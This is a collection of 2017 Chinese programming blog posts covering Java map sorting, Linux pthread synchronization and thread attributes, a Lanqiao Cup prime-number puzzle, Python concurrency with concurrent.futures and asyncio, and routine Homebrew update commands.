                                LinkedHashMap::new                      // returns a LinkedHashMap, keep order
                        ));

        System.out.println("Result 1 : " + result1);

    }
}

Output

Result 1 : {aws.amazon.com=200000, digitalocean.com=120000, linode.com=100000, liquidweb.com=80000, mkyong.com=1}

P.S  在上面的例子中, stream 在collect 之前已经被排序, 所以 “linode.com=100000”变为 ‘oldValue’.

References

  1. Java 8 Collectors JavaDoc
  2. Java 8 – How to sort a Map
  3. Java 8 Lambda : Comparator example
作者:wangmuming 发表于2017/11/13 11:22:44 原文链接
阅读:61 评论:0 查看评论

linux学习---线程同步(互斥量,信号量,条件量)线程属性

$
0
0

进程

  系统中程序执行和资源分配的基本单位

  每个进程有自己的数据段、代码段和堆栈段

  在进行切换时需要有比较复杂的上下文切换

线程

  减少处理机的空转时间,支持多处理器以及减少上下文切换开销, 比创建进程小很多

  进程内独立的一条运行路线

  处理器调度的最小单元,也称为轻量级进程

       可以对进程的内存空间和资源进行访问,并与同一进程中的其他线程共享

线程

  线程相关的执行状态和存储变量放在线程控制表

  一个进程可以有多个线程,有多个线程控制表及堆栈寄存器,共享一个用户地址空间

多线程同步问题

  线程共享进程的资源和地址空间

  任何线程对系统资源的操作都会给其他线程带来影响

 

一.线程标识

  线程ID

进程ID在整个系统中是唯一的

线程ID只在它所属的进程环境中有效

       函数: pthread_self()

线程标识

pthread_t类型通常用结构来表示

不能把它作为整数处理

–Linux使用无符号长整数表示

为了移植,使用函数来比较线程ID

函数: pthread_equal()

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
 
int main(){
   pthread_t thread_id;
 
   thread_id=pthread_self(); // 返回调用线程的线程ID
   printf("Thread ID: %lu.\n",thread_id);
 
   if (pthread_equal(thread_id,pthread_self())) {
//   if (thread_id==0) {
       printf("Equal!\n");
    }else {
       printf("Not equal!\n");
    }
   return 0;
}

二.创建线程

调用该线程函数的入口点

使用函数pthread_create(),线程创建后,就开始运行相关的线程函数

例子

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
void *run(void *data)
{
       printf("我是线程\n");
}
 
int main()
{
       pthread_ttid;
       char*re;
       pthread_create(&tid,NULL,run,NULL);
}

执行结果,什么都没有输出,为什么呢?事实上我们已经创建了,但是因为主线程退出,导致整个程序退出,所以导致“我是线程”没有打印出来

解决方法可以在pthread_create后加sleep,这种方法可以解决,但是在正常程序中并不会采用这种方法,通常采用pthread_join,进入下一个主题来介绍pthread_join

三.线程取消

单个线程可以通过三种方法取消

1)  线程主动return

2)  线程主动调用pthread_exit()

3)  被其他线程cancel

第一种方法不说明,看字面意思就知道

第二种方法说明

使调用进程终止,所有线程都终止了

等待线程

由于一个进程中的多个线程是共享数据段的,通常在线程退出之后,退出线程所占用的资源并不会随着线程的终止而得到释放

•pthread_join()函数

    类似进程的wait()/waitpid()函数,用于将当前线程挂起来等待线程的结束

    是一个线程阻塞的函数,调用它的线程一直等待到被等待的线程结束为止

    函数返回时,被等待线程的资源就被收回

继续上面那个线程创建的例子,没有打印的例子,并且增加退出码的打印

修改成以下模样

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
 
void *run(void *data)
{
       printf("我是线程 %s\n",(char*)data);
       //return"hello";
       pthread_exit("world");
}
 
int main()
{
       pthread_ttid;
       char*re;
       pthread_create(&tid,NULL,run,(void*)"zhongjun");
       pthread_join(tid,(void**)&re);
       printf("%s\n",re);
}

输出结果

我们发现我们创建的线程打印出来,并且有返回码

第三种pthread_cancel取消线程

这个用起来考虑的点就比较多了

1)  并不是调用pthread_cancel就能100%把线程cancel掉的,但是有一些系统函数自带一些cancel点,此部分可以去网络查找

2)  线程中是否有互斥量(后面说),可以理解为锁,如果cancel线程的时候正在加锁和解锁之间,那么就会造成死锁问题

先来看看第一种情况

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
void *run(void *data)
{
       while(1)
       {
       }
}
 
int main()
{
       pthread_ttid;
       char*re;
       pthread_create(&tid,NULL,run,NULL);
       
       sleep(5);
       printf("开始cancel线程\n");
       pthread_cancel(tid);
       pthread_join(tid,(void**)0);
}

程序一直在运行,外部调用pthread_cancel线程并不是被cancel

解决办法

1)  在函数中加打印(打印的fputcancel点)

发现程序运行结果为

2)  延时

3)  最正宗的方法是在要被cancel的线程中加pthread_testcancel()函数

运行结果

 

上面还遗留一个pthread_cancel在互斥量加锁和解锁中造成死锁的问题

先来看看互斥量的概念

编程模型:

1)定义互斥量pthread_mutex_t

2)初始化互斥量 1pthread_mutex_init

3)互斥量操作      0phtread_mutex_lock

                            判定互斥量0:阻塞

                            1:置0,返回

                 1pthread_mutex_unlock

                            1返回

                            强烈要求成对使用                                           

4)释放互斥量pthread_mutex_destroy

模拟一个pthread_cancel在互斥量加锁和解锁中造成死锁的问题

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
 
pthread_mutex_t mutex;
 
void *runodd(void *data)
{
       inti=0;
       
       for(i=1;;i=i+2)
       {
              pthread_mutex_lock(&mutex);
              printf("%d\n",i);
              
              pthread_mutex_unlock(&mutex);
       }
}
 
void *runeven(void *data)
{
       inti=0;
       for(i=0;;i=i+2)
       {
              pthread_mutex_lock(&mutex);
              printf("%d\n",i);
              pthread_mutex_unlock(&mutex);
       }
}
 
int main()
{
       pthread_ttodd,teven;
       
       pthread_mutex_init(&mutex,0);
       pthread_create(&todd,NULL,runodd,NULL);
       pthread_create(&teven,NULL,runeven,NULL);
       
       sleep(5);
       pthread_cancel(todd);
       pthread_join(todd,(void**)0);
       pthread_join(teven,(void**)0);
       pthread_mutex_destroy(&mutex);
       
}

两个程序,一个打印基数,一个打印偶数,在5s后外部cancel掉打印基数的线程,由于基数线程在程序中的只有一个cancel掉,就是printf,所以很大的可能是在那被cancel掉,导致死锁问题,程序运行如我们预期的那样

程序运行了5s,不再输出

解决方法:pthread_cleanup_pushpthread_cleanup_pop

这个类似于进程退出的atexit函数,也是在线程退出时调用,但是有几个需要注意的点是:

1)  这两个函数表面看着是函数,但是实际是宏,必须成对使用,否则编译出错

2)  pthread_cleanup_push是压栈行为,把函数注册到线程退出时调用,再满足以下几个条件回调函数才能被调用,线程pthread_exit退出,线程被外部cancel

3)  pthread_cleanup_pop此函数有参数,0代表弹出栈,代表回调函数不再起作用

1代表主动调用回调函数

四.线程同步

线程同步有以下几种方法

1)  互斥量

2)  信号量

3)  条件量

4)  读写锁

5)  屏障

6)  信号

分别介绍下,4,5,6我用的比较少,暂时不介绍

1.  互斥量

互斥量上面已做简单介绍,在来介绍下

参考:https://www.cnblogs.com/yuuyuu/p/5140251.html

互斥量是线程同步的一种机制,用来保护多线程的共享资源。同一时刻,只允许一个线程对临界区进行访问。

互斥量的工作流程:创建一个互斥量,把这个互斥量的加锁调用放在临界区的开始位置,解锁调用放到临界区的结束位置。当内核优先把某个线程调度到临界区的开始位置时,线程执行这个加锁调用,并进入临界区对资源进行操作。此时其他线程再被内核调度到这里的时候,由于该互斥量已被加锁状态,得不到锁会一直阻塞在这里,导致其他线程不能进入临界区,直到刚刚那个进入临界区的线程离开临界区并执行解锁调用。

函数接口                                         

1.初始化互斥量

互斥量是一个pthread_mutex_t类型的变量。

1.1:用宏常量初始化:

1 pthread_mutex_t mtx = PTHREAD_MUTEX_INITIALIZER;

1.2:用函数初始化:

 #include <pthread.h>

 int pthread_mutex_init(pthread_mutex_t*restrict mutex, const pthread_mutexattr_t *restrict attr);

mutex:互斥量结构指针

attr:互斥量的属性结构指针

2.设置互斥量属性

 #include <pthread.h>

 intpthread_mutexattr_settype(pthread_mutexattr_t *attr, int type);

attr:互斥量的属性结构指针

typePTHREAD_MUTEX_NORMAL(默认属性)PTHREAD_MUTEX_ERRORCHECK(会进行错误检查,速度比较慢)PTHREAD_MUTEX_RECURSIVE(递归锁)。对于递归锁,同一个线程对一个递归锁加锁多次,会有一个锁计数器,解锁的时候也需要解锁这个次数才能释放该互斥量。

3.加锁与解锁

#include <pthread.h>

int pthread_mutex_lock(pthread_mutex_t *mutex);

int pthread_mutex_trylock(pthread_mutex_t *mutex);

int pthread_mutex_unlock(pthread_mutex_t *mutex);

参数都是互斥量指针。pthread_mutex_lock()得不到锁会阻塞,intpthread_mutex_trylock()得不到锁会立即返回,并返回EBUSY错误。

还有一个pthread_mutex_timedlock()会根据时间来等待加锁,如果这段时间得不到锁会返回ETIMEDOUT错误!

#include <pthread.h>

#include <time.h>

int pthread_mutex_timedlock(pthread_mutex_t *restrict mutex, const structtimespec *restrict abs_timeout);

4.销毁互斥量

#include <pthread.h>

int pthread_mutex_destroy(pthread_mutex_t *mutex);

mutex:创建的互斥量指针

2.  条件量

参考:https://www.cnblogs.com/yuuyuu/p/5140875.html

1.概述                                                 

上一篇,介绍了互斥量。条件变量与互斥量不同,互斥量是防止多线程同时访问共享的互斥变量来保护临界区。条件变量是多线程间可以通过它来告知其他线程某个状态发生了改变,让等待在这个条件变量的线程继续执行。通俗一点来讲:设置一个条件变量让线程1等待在一个临界区的前面,当其他线程给这个变量执行通知操作时,线程1才会被唤醒,继续向下执行。

条件变量总是和互斥量一起使用,互斥量保护着条件变量,防止多个线程对条件变量产生竞争。等会写个小例子,看它们如何一起合作!

2.函数接口                                          

初始化条件变量

宏常量初始化

pthread_cond_tcond = PTHREAD_COND_INITIALIZER;

函数初始化

 #include <pthread.h>

 intpthread_cond_init(pthread_cond_t *restrict cond, const pthread_condattr_t*restrict attr);

跟互斥量类似,cond是条件变量的结构指针,attr是条件变量属性的结构指针。

等待和通知条件变量

 #include <pthread.h>

 intpthread_cond_timedwait(pthread_cond_t *restrict cond, pthread_mutex_t *restrictmutex, const struct timespec *restrict abstime);

 int pthread_cond_wait(pthread_cond_t*restrict cond, pthread_mutex_t *restrict mutex);

 int pthread_cond_broadcast(pthread_cond_t *cond);

 intpthread_cond_signal(pthread_cond_t *cond);

等待函数里面,要传入一个互斥量。pthread_cond_timewait()可以指定一个时间来等待,如果规定的时间没有获得通知,就返回ETIMEDOUT错误。而pthread_cond_wait()会一直阻塞。

通知函数,pthread_cond_signal()至少唤醒一个等待的线程,pthread_cond_broadcast()会唤醒在该条件变量上所有线程。

销毁条件变量

 #include <pthread.h>

 int pthread_cond_destroy(pthread_cond_t *cond);

举一个例子

#include <stdio.h>
#include <pthread.h>
#include <signal.h>
pthread_t t1,t2;
pthread_cond_t cond;
pthread_mutex_t m;
void *r1(void *data)
{
               int s;
               while(1)
               {
                               pthread_cond_wait(&cond,&m);
                               printf("活动 \n");
               }
}
 
void *r2(void *data)
{
               while(1)
               {
                               sleep(1);
                               pthread_cond_signal(&cond);
 
               }
}
int main()
{
               pthread_mutex_init(&m,0);
               pthread_cond_init(&cond,0);
               pthread_create(&t1,NULL,r1,NULL);
               pthread_create(&t2,NULL,r2,NULL);
               
               pthread_join(t1,(void**)0);
               pthread_join(t2,(void**)0);
               
               pthread_cond_destroy(&cond);
               pthread_mutex_destroy(&m);   
}

运行效果

每隔1s中打印一次活动

但是此部分提出一个问题,为什么在信号量init的时候会有第二个互斥量的参数呢?

画一张图

如图两个线程,分别共享一个互斥量mutex1,假设线程1先运行,然后线程1加锁,等待信号,阻塞,等待线程2发送信号量,但是此时线程2发送mutex已经是lock状态,所以进不去,就会造成两个线程僵持状态,造成死锁问题,这就用到了pthread_cond_init第二个参数互斥量的作用

模拟一个出问题的程序

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
 
pthread_t t1,t2;
pthread_mutex_t m1,m2;
pthread_cond_t c;
 
void *r1(void *data)
{
               while(1)
               {
                               pthread_mutex_lock(&m1);
                               printf("接受信号量\n");
                               // 这就是mutex的作用,防止死锁
                               //pthread_cond_wait(&c,&m1);
                               pthread_cond_wait(&c,&m2);
                               pthread_mutex_unlock(&m1);
               }
}
 
void *r2(void *data)
{
               while(1)
               {
                               pthread_mutex_lock(&m1);
                               printf("发送信号量\n");
                               pthread_cond_signal(&c);
                               pthread_mutex_unlock(&m1);
               }
}
 
int main()
{
               pthread_cond_init(&c,0);
               pthread_mutex_init(&m1,0);
               pthread_mutex_init(&m2,0);
               
               pthread_create(&t1,NULL,r1,NULL);
               pthread_create(&t2,NULL,r2,NULL);
               
               pthread_join(t1,(void**)0);
               pthread_join(t2,(void**)0);
               
               pthread_mutex_destroy(&m2);
               pthread_mutex_destroy(&m1);
               pthread_cond_destroy(&c);
                               
}

程序运行会造成死锁问题

解决方法

修改此部分程序得到良好运行

3.  信号量

信号量的函数都以sem_开头,线程中使用的基本信号量函数有4个,它们都声明在头文件semaphore.h中。

sem_init函数

该函数用于创建信号量,其原型如下:

int sem_init(sem_t *sem, int pshared unsigned int value);  

该函数初始化由sem指向的信号对象,设置它的共享选项,并给它一个初始的整数值。pshared控制信号量的类型,如果其值为0,就表示这个信号量是当前进程的局部信号量,否则信号量就可以在多个进程之间共享,valuesem的初始值。调用成功时返回0,失败返回-1.

sem_wait函数

该函数用于以原子操作的方式将信号量的值减1。原子操作就是,如果两个线程企图同时给一个信号量加1或减1,它们之间不会互相干扰。它的原型如下:

int sem_wait(sem_t *sem);  

sem指向的对象是由sem_init调用初始化的信号量。调用成功时返回0,失败返回-1.

sem_post函数

该函数用于以原子操作的方式将信号量的值加1。它的原型如下:

int sem_post(sem_t *sem);  

sem_wait一样,sem指向的对象是由sem_init调用初始化的信号量。调用成功时返回0,失败返回-1.

sem_destroy函数

该函数用于对用完的信号量的清理。它的原型如下:

int sem_destroy(sem_t *sem);  

成功时返回0,失败时返回-1.

例子:

#include <stdio.h>
#include <pthread.h>
#include <semaphore.h>
 
sem_t sem;
void *run(void *data)
{
       while(1)
       {
              //3
              sem_wait(&sem);
              printf("解除阻塞\n");
       }
}
int main()
{
       pthread_ttid;
       //2
       sem_init(&sem,0,5);
       pthread_create(&tid,NULL,run,NULL);
       while(1)
       {
              sleep(1);
              sem_post(&sem);
       }
}

运行效果

 

五.线程属性

转载:http://blog.csdn.net/zsf8701/article/details/7843837

1、初始化一个线程对象的属性

intpthread_attr_init(pthread_attr_t *attr);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr       指向一个线程属性的指针

      明:Posix线程中的线程属性pthread_attr_t主要包括scope属性、detach属性、堆栈地址、堆栈大小、优先级。

            pthread_attr_init实现时为属性对象分配了动态内存空间。

    头文件:#include<pthread.h>

2、销毁一个线程属性对象

intpthread_attr_destroy(pthread_attr_t *attr);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr       指向一个线程属性的指针

      明:经pthread_attr_destroy去除初始化之后的pthread_attr_t结构被pthread_create函数调用,将会导致其返回错误。

    头文件:#include<pthread.h>

3、获取线程间的CPU亲缘性

intpthread_attr_getaffinity_np(pthread_attr_t *attr, size_t cpusetsize, cpu_set_t*cpuset);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr       指向一个线程属性的指针

      明:获取线程的CPU亲缘属性

    头文件:#include<pthread.h>

4、设置线程的CPU亲缘性

intpthread_attr_setaffinity_np(pthread_attr_t *attr, size_t cpusetsize, constcpu_set_t *cpuset);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr         指向一个线程属性的指针

            cpusetsize   指向CPU组的缓冲区大小

            cpuset      指向CPU组的指针

      明:通过指定cupset来设置线程的CPU亲缘性

    头文件:#include<pthread.h>

5、获取线程分离状态属性

intpthread_attr_getdetachstate(pthread_attr_t *attr, int *detachstate);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr          指向一个线程属性的指针

            detachstate  保存返回的分离状态属性

      明:获取线程分离状态属性

    头文件:#include<pthread.h>

6、修改线程分离状态属性

intpthread_attr_setdetachstate(pthread_attr_t *attr, int detachstate);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr        指向一个线程属性的指针

            detachstat  有两个取值

                       PTHREAD_CREATE_DETACHED(分离)

                        PTHREAD_CREATE_JOINABLE(非分离)

      明:Posix线程中的线程属性pthread_attr_t主要包括scope属性、detach属性、堆栈地址、堆栈大小、优先级。

    头文件:#include<pthread.h>

7、获取线程的栈保护区大小

intpthread_attr_getguardsize(pthread_attr_t *attr, size_t *guardsize);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr       指向一个线程属性的指针

            guardsize  返回获取的栈保护区大小

      明:获取线程的栈保护区大小

    头文件:#include<pthread.h>

8、设置线程的栈保护区大小

intpthread_attr_setguardsize(pthread_attr_t *attr, size_t guardsize);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr       指向一个线程属性的指针

            guardsize  线程的栈保护区大小

      明:参数提供了对栈指针溢出的保护。

            默认为系统页大小

            如果设置为0表示没有保护区。

            大于0,则会为每个使用 attr 创建的线程提供大小至少为guardsize 字节的溢出保护区

    头文件:#include<pthread.h>

9、获取线程的作用域

intpthread_attr_getscope(pthread_attr_t *attr, int *scope);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr       指向一个线程属性的指针

            scope      返回线程的作用域

      明:指定了作用域也就指定了线程与谁竞争资源

    头文件:#include<pthread.h>

10、设置线程的作用域

intpthread_attr_setscope(pthread_attr_t *attr, int scope);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr       指向一个线程属性的指针

            guardsize  线程的作用域,可以取如下值

                       PTHREAD_SCOPE_SYSTEM    与系统中所有进程中线程竞争

                      PTHREAD_SCOPE_PROCESS   与当前进程中的其他线程竞争

      明:指定了作用域也就指定了线程与谁竞争资源

    头文件:#include<pthread.h>

11、获取线程的堆栈信息(栈地址和栈大小)

intpthread_attr_getstack(pthread_attr_t *attr, void **stackaddr, size_t*stacksize);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr       指向一个线程属性的指针

            stackaddr  返回获取的栈地址

            stacksize  返回获取的栈大小

      明:获取线程的堆栈地址和大小

    头文件:#include<pthread.h>

12、设置线程堆栈区

intpthread_attr_setstack(pthread_attr_t *attr, void *stackaddr, size_t stacksize);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr       指向一个线程属性的指针

            stackaddr  线程的堆栈地址:应该是可移植的,对齐页边距的

                       可以用posix_memalign来进行获取

            stacksize  线程的堆栈大小:应该是页大小的整数倍

      明:设置堆栈区,将导致pthread_attr_setguardsize失效。

    头文件:#include<pthread.h>

13、获取线程堆栈地址

intpthread_attr_getstackaddr(pthread_attr_t *attr, void **stackaddr);

    返回值:若是成功返回0,否则返回错误的编号

      参:

           attr       指向一个线程属性的指针

            stackaddr  返回获取的栈地址

      明:函数已过时,一般用pthread_attr_getstack来代替

    头文件:#include<pthread.h>

14、设置线程堆栈地址

intpthread_attr_setstackaddr(pthread_attr_t *attr, void *stackaddr);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr       指向一个线程属性的指针

            stackaddr  设置线程堆栈地址

      明:函数已过时,一般用pthread_attr_setstack来代替

    头文件:#include<pthread.h>

15、获取线程堆栈大小

intpthread_attr_getstacksize(pthread_attr_t *attr, size_t *stacksize);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr       指向一个线程属性的指针

            stacksize  返回线程的堆栈大小

      明:获取线程堆栈大小

    头文件:#include<pthread.h>

16、设置线程堆栈大小

intpthread_attr_setstacksize(pthread_attr_t *attr, size_t stacksize);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr       指向一个线程属性的指针

            guardsize  线程的栈保护区大小:应该是页大小的整数倍

      明:设置线程堆栈大小:

    头文件:#include<pthread.h>

17、获取线程的调度策略

intpthread_attr_getschedpolicy(pthread_attr_t *attr, int *policy);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr       指向一个线程属性的指针

            policy     返回线程的调度策略

      明:获取线程的调度策略

    头文件:#include<pthread.h>

18、设置线程的调度策略

intpthread_attr_setschedpolicy(pthread_attr_t *attr, int policy);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr       指向一个线程属性的指针

            policy     线程的调度策略,有如下三种:

                        SCHED_FIFO    先入先出策略

                        SCHED_RR      轮转调度,类似于 FIFO,但加上了时间轮片算法

                        SCHED_OTHER      系统默认策略

      明:设置线程的调度策略

    头文件:#include<pthread.h>

19、获取线程的调度参数

intpthread_attr_setschedparam(pthread_attr_t *attr, const struct sched_param*param);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr       指向一个线程属性的指针

            param      返回获取的调度参数,该结构仅有一个从参数,如下

                        struct sched_param

                        {

                            int sched_priority;/* Scheduling priority */

                        };

      明:获取线程的调度参数

    头文件:#include<pthread.h>

20、设置线程的调度参数

intpthread_attr_getschedparam(pthread_attr_t *attr, struct sched_param *param);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr       指向一个线程属性的指针

            param      要设置的调度参数

      明:设置线程的调度参数

    头文件:#include<pthread.h>

21、获取线程是否继承调度属性

intpthread_attr_getinheritsched(pthread_attr_t *attr, int *inheritsched);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr          指向一个线程属性的指针

            inheritsched  返回继承调度属性的设置

      明:获取线程是否继承调度属性

    头文件:#include<pthread.h>

22、设置线程是否继承调度属性

intpthread_attr_getinheritsched(pthread_attr_t *attr, int *inheritsched);

    返回值:若是成功返回0,否则返回错误的编号

      参:

            attr       指向一个线程属性的指针

            guardsize  设置线程是否继承调度属性

                        PTHREAD_INHERIT_SCHED:调度属性将继承于正创建的线程

                                              attr中的设置将被忽略

                        PTHREAD_EXPLICIT_SCHED 调度属性将被设置为attr中指定的属性值

      明:头文件:#include<pthread.h>

   

 

作者:XiaoXiaoPengBo 发表于2017/11/13 11:27:26 原文链接
阅读:66 评论:0 查看评论

【蓝桥杯】【金蝉素数】

$
0
0

题目
考古发现某古墓石碑上刻着一个数字:13597,后研究发现:
这是一个素数!
并且,去掉首尾数字仍是素数!
并且,最中间的数字也是素数!
这样特征的数字还有哪些呢?通过以下程序的帮助可以轻松解决。
请仔细阅读代码,并填写划线部分缺失的代码。

分析
这是一道填空题目。
题目需要你填空的地方,仔细分析一下就是递归出口。
所以没有太多要分析的地方了。

源码

    static boolean isPrime(int n){
        if(n<=1) return false;
        for(int i=2; i*i<=n; i++){
            if(n%i==0) return false;
        }
        return true;
    }

    static void f(int[] x, int k){
        if(k==x.length-1){  // 填空位置
            if(isPrime(x[0]*10000 + x[1]*1000 + x[2]*100 + x[3]*10 + x[4]) &&
                isPrime(x[1]*100 + x[2]*10 + x[3]) &&
                isPrime(x[2]))
                System.out.println(""+x[0]+x[1]+x[2]+x[3]+x[4]);
            return;
        }

        for(int i=k; i<x.length; i++){
            {int tmp=x[k]; x[k]=x[i]; x[i]=tmp; }
            f(x,k+1);
            {int tmp=x[k]; x[k]=x[i]; x[i]=tmp; }
        }
    }

    static void test()
    {
        int[] x = {1,3,5,7,9};
        f(x,0);
    }

    public static void main(String[] args)
    {
        test();
    }

结果
13597
53791
79531
95713
91573

作者:bear_huangzhen 发表于2017/11/13 11:27:57 原文链接
阅读:65 评论:0 查看评论

Python并发concurrent.futures和asyncio

$
0
0

说明

Python标准库为我们提供了threading和multiprocessing模块编写相应的多线程/多进程代码。

从Python3.2开始,标准库为我们提供了concurrent.futures模块,concurrent.futures 模块的主要特色是 ThreadPoolExecutor 和
ProcessPoolExecutor 类,这两个类实现的接口能分别在不同的线程或进程中执行可调
用的对象。这两个类在内部维护着一个工作线程或进程池,以及要执行的任务队列。

Python 3.4 以后标准库中asyncio 包,这个包使用事件循环驱动的协程实现并发。这是 Python 中最大也
是最具雄心壮志的库之一。asyncio 大量使用 yield from 表达式,因此与
Python 旧版不兼容。

submit和map方法

submit方法作用是向线程池提交可回调的task,并返回一个回调实例。
example:

import time
from concurrent.futures import ThreadPoolExecutor


# 可回调的task
def pub_task(msg):
    time.sleep(3)
    return msg

# 创建一个线程池
pool = ThreadPoolExecutor(max_workers=3)

# 往线程池加入2个task
task1 = pool.submit(pub_task, 'a')
task2 = pool.submit(pub_task, 'b')

print(task1.done())        # False
time.sleep(4)
print(task2.done())        # True

print(task1.result())
print(task2.result())

map方法是创建一个迭代器,回调的结果有序放在迭代器中。

问题:

Executor.map 函数易于使用,不过有个特性可能有用,也可能没用,具体情况取决于需
求:这个函数返回结果的顺序与调用开始的顺序一致。如果第一个调用生成结果用时 10
秒,而其他调用只用 1 秒,代码会阻塞 10 秒,获取 map 方法返回的生成器产出的第一个
结果。在此之后,获取后续结果时不会阻塞,因为后续的调用已经结束。如果必须等到获
取所有结果后再处理,这种行为没问题;不过,通常更可取的方式是,不管提交的顺序,
只要有结果就获取。为此,要把 Executor.submit 方法和 futures.as_completed 函
数结合起来使用。

from concurrent.futures import ThreadPoolExecutor
import requests

URLS = ['http://www.csdn.com', 'http://qq.com', 'http://www.leasonlove.cn']


def task(url, timeout=10):
    return requests.get(url, timeout=timeout)

pool = ThreadPoolExecutor(max_workers=3)
results = pool.map(task, URLS)

for ret in results:
    print('%s, %s' % (ret.url, ret))

future异步编程

Future可以理解为一个在未来完成的操作,这是异步编程的基础。通常情况下,我们执行io操作,访问url时(如下)在等待结果返回之前会产生阻塞,cpu不能做其他事情,而Future的引入帮助我们在等待的这段时间可以完成其他的操作。

from concurrent.futures import ThreadPoolExecutor
from concurrent.futures import as_completed
import requests

URLS = ['http://www.csdn.cn', 'http://qq.com', 'http://www.leasonlove.cn']


def task(url, timeout=1):
    return requests.get(url, timeout=timeout)


with ThreadPoolExecutor(max_workers=3) as executor:
    future_tasks = [executor.submit(task, url) for url in URLS]

    for f in future_tasks:
        if f.running():
            print('%s is running' % str(f))

    for f in as_completed(future_tasks):
        try:
            ret = f.done()
            if ret:
                f_ret = f.result()
                print('%s, done, result: %s, %s' % (str(f), f_ret.url, f_ret.content))
        except Exception as e:
            # 第一个url无响应
            f.cancel()
            print(str(e))

asyncio库协程实现并发

对于gevent 和 asyncio

建议大家放弃Gevent,拥抱asyncio,asyncio是Python3.4以后标准库。而且由于Gevent直接修改标准库里面大部分的阻塞式系统调用,包括socket、ssl、threading和 select等模块,而变为协作式运行。但是我们无法保证你在复杂的生产环境中有哪些地方使用这些标准库会由于打了补丁而出现奇怪的问题。

import asyncio
import time
start = time.time()

async def do(x):
    print('Waiting: ', x)
    await asyncio.sleep(x)
    return 'Finish after {}s'.format(x)


task1 = do(1)
task2 = do(2)
task3 = do(4)

tasks = [
    asyncio.ensure_future(task1),
    asyncio.ensure_future(task2),
    asyncio.ensure_future(task3)
]

loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.wait(tasks))

for task in tasks:
    print('Task result: ', task.result())

end = time.time()
print('TIME: ', end - start)

协程与线程

如果使用线程做过重要的编程,你就知道写
出程序有多么困难,因为调度程序任何时候都能中断线程。必须记住保留锁,去保护程序
中的重要部分,防止多步操作在执行的过程中中断,防止数据处于无效状态。
而协程默认会做好全方位保护,以防止中断。我们必须显式产出才能让程序的余下部分运
行。对协程来说,无需保留锁,在多个线程之间同步操作,协程自身就会同步,因为在任
意时刻只有一个协程运行。想交出控制权时,可以使用 yield 或 yield from 把控制权
交还调度程序。这就是能够安全地取消协程的原因:按照定义,协程只能在暂停的 yield
处取消,因此可以处理 CancelledError 异常,执行清理操作。

参考资料:fluent Python

leason | blog

作者:qq_29287973 发表于2017/11/13 11:29:58 原文链接
阅读:64 评论:0 查看评论

[转]你应该定期更新 Homebrew

$
0
0

你应该定期更新 Homebrew

TL;DR

这篇文章是关于定期更新 Homebrew 的话题。它会告诉你定期更新的好处,常用的命令,以及用 brew pin 尽可能无痛地更新。

为什么要定期更新

我发现不少人都不会经常更新,或者只在必须用某个工具的新版本的时候才更新。他们的看法是,更新有可能产生一些意外的问题,反正当前环境足够稳定可以用,干嘛自找麻烦呢?

这个看法对也不对。对是因为,更新产生的潜在问题不可避免。不对是因为总有一天你需要升级的,也许是为了某个工具的新特性,也许是为了修复软件的漏洞,也许你安装的包非要依赖另一个包的新版本,等等。如果隔了很长一段时间才升级,那潜在的小问题可能就会变成大问题。

另一个有意思的现象是,当碰到比较破坏性的事情,比如 Mac OS 大版本更新后,很多人会选择重装 Homebrew 然后顺带安装最新版的包。很少人会去装一个指定的旧版本(除了特殊项目需要)。这说明他们不是不想用新版本,而是不想痛苦地更新。

既然总有一天需要更新,而更新带来问题不可避免,那为什么不更新得频繁点呢?这个道理跟 Git 的冲突解决有相似性。长时间不 pull/push 的代码更容易产生冲突,一个解决方法就是频繁地 commit & merge 。

我现在试着一个月更新一次,两次下来发现这些好处:

  1. 每次更新的包很少,更新风险也小。
  2. 更容易发现不需要的包,便于清理,不为不需要的东西买单。
  3. 定期清理旧版本,释放空间。

更新流程其实都差不多,下面列一下我常用的命令。

更新包 (formula)

更新之前,我会用 brew outdated 查看哪些包可以更新。

brew outdated

然后就可以用 brew upgrade 去更新了。Homebrew 会安装新版本的包,但旧版本仍然会保留。

brew upgrade             # 更新所有的包
brew upgrade $FORMULA    # 更新指定的包

清理旧版本

一般情况下,新版本安装了,旧版本就不需要了。我会用 brew cleanup 清理旧版本和缓存文件。Homebrew 只会清除比当前安装的包更老的版本,所以不用担心有些包没更新但被删了。

brew cleanup             # 清理所有包的旧版本
brew cleanup $FORMULA    # 清理指定包的旧版本
brew cleanup -n          # 查看可清理的旧版本包,不执行实际操作

这样一套下来,该更新的都更新了,旧版本也被清理了。

锁定不想更新的包

如果经常更新的话,brew update 一次更新所有的包是非常方便的。但我们有时候会担心自动升级把一些不希望更新的包更新了。数据库就属于这一类,尤其是 PostgreSQL 跨 minor 版本升级都要迁移数据库的。我们更希望找个时间单独处理它。这时可用 brew pin 去锁定这个包,然后 brew update 就会略过它了。

brew pin $FORMULA      # 锁定某个包
brew unpin $FORMULA    # 取消锁定

其他几个常用命令

brew info 可以查看包的相关信息,最有用的应该是包依赖和相应的命令。比如 Nginx 会提醒你怎么加 launchctl ,PostgreSQL 会告诉你如何迁移数据库。这些信息会在包安装完成后自动显示,如果忘了的话可以用这个命令很方便地查看。

